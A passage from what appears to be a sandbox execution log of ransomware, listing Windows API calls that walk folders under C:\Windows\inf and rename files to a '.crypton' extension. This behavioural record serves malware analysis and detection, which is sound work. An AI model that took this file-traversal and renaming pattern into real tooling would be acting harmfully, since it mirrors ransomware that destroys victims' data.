ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1767c720, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0258.458] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\SMSvcHost 4.0.0.0\\0015\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5d6ee60, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x176a2880, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x176a2880, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0258.464] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\SMSvcHost 4.0.0.0\\0019\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5d94fc0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x176a2880, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x176a2880, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0258.468] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\SMSvcHost 4.0.0.0\\001D\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5d94fc0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x176a2880, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x176a2880, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0258.474] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\SMSvcHost 4.0.0.0\\001F\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5d94fc0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x176c89e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x176c89e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0258.479] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\SMSvcHost 4.0.0.0\\0404\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5d6ee60, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x176c89e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x176c89e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0258.490] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\SMSvcHost 4.0.0.0\\0416\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5d6ee60, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x176eeb40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x176eeb40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0258.498] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\SMSvcHost 4.0.0.0\\0804\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5d6ee60, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x176eeb40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x176eeb40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0258.504] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\SMSvcHost 4.0.0.0\\0816\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5d94fc0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x17714ca0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x17714ca0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0258.507] MoveFileExW (lpExistingFileName="C:\\\\Windows\\inf\\SMSvcHost 4.0.0.0\\_SMSvcHostPerfCounters.h" (normalized: "c:\\windows\\inf\\smsvchost 4.0.0.0\\_smsvchostperfcounters.h"), lpNewFileName="C:\\\\Windows\\inf\\SMSvcHost 4.0.0.0\\_SMSvcHostPerfCounters.h.crypton" (normalized: "c:\\windows\\inf\\smsvchost 4.0.0.0\\_smsvchostperfcounters.h.crypton"), dwFlags=0x2) returned 1 [0258.515] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\TAPISRV\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe5e8a26, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x17714ca0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x17714ca0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0258.521] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\TAPISRV\\0000\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe5e8a26, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1773ae00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1773ae00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0258.523] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\TAPISRV\\0409\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e423fe3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21c33f9b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e423fe3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549810 [0258.524] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0258.524] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0258.524] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0258.525] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0258.525] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0258.526] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0258.526] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0258.527] CloseHandle (hObject=0x178) returned 1 [0258.533] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\TermService\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe5e8a26, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1773ae00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1773ae00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0258.539] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\TermService\\0000\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe5e8a26, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x17760f60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x17760f60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0258.544] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\TermService\\0409\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e423fe3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x17760f60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x17760f60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0258.545] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0258.545] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0258.545] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0258.545] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0258.545] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0258.545] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0258.545] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0258.545] CloseHandle (hObject=0x178) returned 1 [0258.567] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\UGatherer\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x177870c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x177870c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0258.574] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\UGatherer\\0000\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x177ad220, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x177ad220, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0258.580] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\UGatherer\\0409\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x375a498b, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x177ad220, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x177ad220, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0258.582] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0258.582] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0258.582] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0258.582] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0258.582] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0258.582] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0258.582] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0258.582] CloseHandle (hObject=0x178) returned 1 [0258.588] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\UGTHRSVC\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x177d3380, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x177d3380, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0258.594] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\UGTHRSVC\\0000\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x177d3380, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x177d3380, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0258.600] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\UGTHRSVC\\0409\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x375caaeb, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x177f94e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x177f94e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0258.601] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0258.602] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0258.602] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0258.602] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0258.602] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0258.602] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0258.602] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0258.602] CloseHandle (hObject=0x178) returned 1 [0258.609] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\usbhub\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe5e8a26, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x177f94e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x177f94e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0258.617] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\usbhub\\0000\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe60eb80, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1781f640, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1781f640, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0258.624] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\usbhub\\0409\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x375a498b, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x1781f640, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1781f640, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0258.625] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0258.625] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0258.625] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0258.625] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0258.625] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0258.625] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0258.625] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0258.625] CloseHandle (hObject=0x178) returned 1 [0258.636] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\Windows Workflow Foundation 3.0.0.0\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x178457a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x178457a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0258.643] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\Windows Workflow Foundation 3.0.0.0\\0000\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x178457a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x178457a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0258.650] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\Windows Workflow Foundation 3.0.0.0\\0409\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e44a29c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1786b900, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1786b900, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0258.653] MoveFileExW (lpExistingFileName="C:\\\\Windows\\inf\\Windows Workflow Foundation 3.0.0.0\\PerfCounters.h" (normalized: "c:\\windows\\inf\\windows workflow foundation 3.0.0.0\\perfcounters.h"), lpNewFileName="C:\\\\Windows\\inf\\Windows Workflow Foundation 3.0.0.0\\PerfCounters.h.crypton" (normalized: "c:\\windows\\inf\\windows workflow foundation 3.0.0.0\\perfcounters.h.crypton"), dwFlags=0x2) returned 1 [0258.660] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\Windows Workflow Foundation 4.0.0.0\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe63ae820, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x17891a60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x17891a60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0258.666] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\Windows Workflow Foundation 4.0.0.0\\0001\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe63ae820, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x17891a60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x17891a60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0258.672] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\Windows Workflow Foundation 4.0.0.0\\0005\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe63ae820, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x17891a60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x17891a60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0258.678] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\Windows Workflow Foundation 4.0.0.0\\0006\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe63ae820, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x178b7bc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x178b7bc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0258.686] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\Windows Workflow Foundation 4.0.0.0\\0007\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe63ae820, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x178b7bc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x178b7bc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0258.693] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\Windows Workflow Foundation 4.0.0.0\\0008\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe63ae820, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x178ddd20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x178ddd20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0258.702] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\Windows Workflow Foundation 4.0.0.0\\0009\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe63ae820, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x178ddd20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x178ddd20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0258.709] FindFirstFileA (in: 